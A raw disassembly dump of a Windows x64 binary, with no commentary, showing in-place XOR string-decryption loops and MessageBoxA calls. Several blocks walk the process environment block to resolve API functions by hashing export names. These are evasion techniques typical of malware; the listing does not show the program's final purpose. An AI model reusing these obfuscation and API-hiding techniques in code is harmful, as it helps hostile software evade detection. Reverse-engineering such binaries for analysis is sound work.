lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007bb40
cmp r8d, 0x1f
jge 0x14007bc93
movsxd rax, r8d
lea r9, [rbp + 0x550]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14007bc60
lea rcx, [rbp + 0x550]
call fcn.140047800
mov dword [rbp + 0x80], 0x431b0000
mov dword [rbp + 0x84], 0x43340000
lea rcx, [rbp + 0x80]
call fcn.140047270
movzx eax, word [0x140120788]
mov word [rbp - 0x40], ax
movsd xmm0, qword [0x140120780]
movzx eax, byte [0x14012078a]
movsd qword [rbp - 0x48], xmm0
mov dword [rbp + 0xc4], 0x41f00000
mov dword [rbp + 0xc0], 0x43480000
mov byte [rbp - 0x48], 0x53
xor byte [rbp - 0x47], 0x38
xor byte [rbp - 0x46], 0x39
xor byte [rbp - 0x45], 0x3a
xor byte [rbp - 0x44], 0x3b
xor byte [rbp - 0x43], 0x3c
xor byte [rbp - 0x42], 0x3d
xor byte [rbp - 0x41], 0x3e
xor byte [rbp - 0x40], 0x3f
xor byte [rbp - 0x3f], 0x40
xor al, 0x41
mov byte [rbp - 0x3e], al
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x48]
call fcn.1400659c0
test al, al
je 0x14007cf4a
cmp byte [0x140148200], 0
jne 0x14007c08f
mov rax, qword [str._YKTRRZ_]
mov qword [rsp + 0x68], rax
cmp byte [0x1401207c7], 0
je 0x14007beb3
cmp r15d, 2
jl 0x14007be6b
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007beb3
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007be80
movups xmm0, xmmword [0x140120790]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x1401207a0]
movsd xmm0, qword [0x1401207b0]
movzx eax, word [0x1401207b8]
movups xmmword [rbp + 0x30], xmm1
movsd qword [rbp + 0x40], xmm0
mov word [rbp + 0x48], ax
mov r8d, esi
cmp r15d, 2
jl 0x14007c02d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x24]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14007bf20
cmp r8d, 0x2a
jge 0x14007c073
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2a
jl 0x14007c040
mov r9d, Ordinal_50
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14007cf4a
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007d090
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x550], xmm0
mov qword [rbp + 0x560], rax
mov eax, dword [0x1401207c8]
mov dword [rbp - 0x20], eax
movzx ecx, word [0x1401207cc]
mov word [rbp - 0x1c], cx
movzx eax, byte [0x1401207ce]
mov byte [rbp - 0x20], gethostname
xor byte [rbp - 0x1f], 0x38
xor byte [rbp - 0x1e], 0x39
xor byte [rbp - 0x1d], 0x3a
xor cl, 0x3b
mov byte [rbp - 0x1c], cl
xor byte [rbp - 0x1b], 0x3c
xor al, 0x3d
mov byte [rbp - 0x1a], al
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007c100
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x70]
call fcn.140020530
lea r8, [rbp - 0x70]
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x7d0]
call fcn.14008a850
nop
call fcn.1400741e0
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x14007c408
mov rcx, rax
call fcn.140075040
mov ecx, dword [str.rJKUI_]
mov dword [rbp - 0x28], ecx
movzx ecx, word [0x1401207f4]
mov word [rbp - 0x24], cx
mov byte [rbp - 0x28], 0x45
xor byte [rbp - 0x27], 0x38
xor byte [rbp - 0x26], 0x39
xor byte [rbp - 0x25], 0x3a
xor cl, 0x3b
mov byte [rbp - 0x24], cl
xor byte [rbp - 0x23], 0x3c
movups xmm0, xmmword [0x1401207d0]
movups xmmword [rbp + 0x570], xmm0
movsd xmm0, qword [0x1401207e0]
movsd qword [rbp + 0x580], xmm0
mov eax, dword [0x1401207e8]
mov dword [rbp + 0x588], eax
movzx eax, byte [0x1401207ec]
mov byte [rbp + 0x58c], al
mov r8d, esi
cmp r15d, 2
jl 0x14007c2fd
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007c1f0
cmp r8d, 0x1d
jge 0x14007c343
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14007c310
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x28]
lea rdx, [rbp + 0x570]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007c3e6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007c3e6
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x71b6158c
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c3e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c3c0
cmp r8d, 0xa880e9fc
je 0x14007c3eb
test r9d, r9d
jne 0x14007c3a0
mov rax, qword [rax]
jmp 0x14007c370
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xor esi, esi
mov dword [rbp + 0x530], esi
lea rax, [rbp + 0x530]
mov qword [rsp + 0x40], rax
mov byte [rsp + 0x38], 0
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x550]
mov rcx, r14
call fcn.1400758c0
test rax, rax
jne 0x14007c858
mov rcx, r14
call fcn.140075040
mov rax, qword [0x140120818]
mov qword [rsp + 0x68], rax
cmp byte [str._qYPVX], 0
je 0x14007c5c3
cmp r15d, 2
jl 0x14007c57b
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007c5c3
lea r9, [rsp + 0x68]
mov r8d, esi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007c590
movups xmm0, xmmword [str.qYPVX]
mov eax, dword [0x140120810]
movups xmmword [rbp + 0x570], xmm0
mov dword [rbp + 0x588], eax
movsd xmm0, qword [0x140120808]
movzx eax, byte [0x140120814]
movsd qword [rbp + 0x580], xmm0
mov byte [rbp + 0x58c], al
mov r8d, esi
cmp r15d, 2
jl 0x14007c74d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007c640
cmp r8d, 0x1d
jge 0x14007c793
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14007c760
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x570]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007c836
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007c836
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5700aa93
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007c831
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007c810
cmp r8d, 0x1dcf1fc3
je 0x14007c83b
test r9d, r9d
jne 0x14007c7f0
mov rax, qword [rax]
jmp 0x14007c7c0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
xor esi, esi
mov rcx, r14
call fcn.140075040
test al, al
jne 0x14007cc66
mov rax, qword [str.rJKUI]
mov qword [rsp + 0x68], rax
cmp byte [str._dHVU_YY], 0
je 0x14007c9d3
cmp r15d, 2
jl 0x14007c98f
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x6c]
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14007c9d3
lea r9, [rsp + 0x68]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007c9a0
movups xmm0, xmmword [0x140120820]
mov eax, dword [0x140120838]
movups xmmword [rbp + 0x570], xmm0
mov dword [rbp + 0x588], eax
movsd xmm0, qword [0x140120830]
movzx eax, byte [0x14012083c]
movsd qword [rbp + 0x580], xmm0
mov byte [rbp + 0x58c], al
mov r8d, esi
cmp r15d, 2
jl 0x14007cb5d
movdqa xmm5, xmmword [0x1401311e0]
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [0x140120a80]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x574]
mov edx, dword [rbp - 0x80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14007ca50
cmp r8d, 0x1d
jge 0x14007cba3
movsxd rax, r8d
lea r9, [rbp + 0x570]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x14007cb70
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x68]
lea rdx, [rbp + 0x570]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007cc46
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007cc46
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5a1c85c9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cc41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cc20
cmp r8d, 0x44d45a9
je 0x14007cc4b
test r9d, r9d
jne 0x14007cc00
mov rax, qword [rax]
jmp 0x14007cbd0
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007ccf6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007ccf6
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xcda29182
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007ccf1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007ccd0
cmp r8d, 0xc29756a5
je 0x14007ccfb
test r9d, r9d
jne 0x14007ccb0
mov rax, qword [rax]
jmp 0x14007cc80
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rsi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x2710
call rdx
lea rcx, [0x140147050]
call fcn.14007ff90
movsd xmm0, qword [str.V_UIQJV__B]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x140120860]
mov dword [rbp + 0x100], eax
xor esi, esi
cmp byte [0x140120863], sil
je 0x14007ceb3
mov r8d, esi
cmp r15d, 2
jl 0x14007ce6d
movdqa xmm4, xmmword [0x140120af0]
movdqa xmm2, xmmword [0x1401311e0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.::::]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140131240]
packuswb xmm2, xmm2
mov eax, dword [0x140120a80]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.V_UIQJV__B]
xorps xmm2, xmm0
movd dword [rbp + 0xf8], xmm2
movdqa xmm3, xmmword [0x1401311f0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
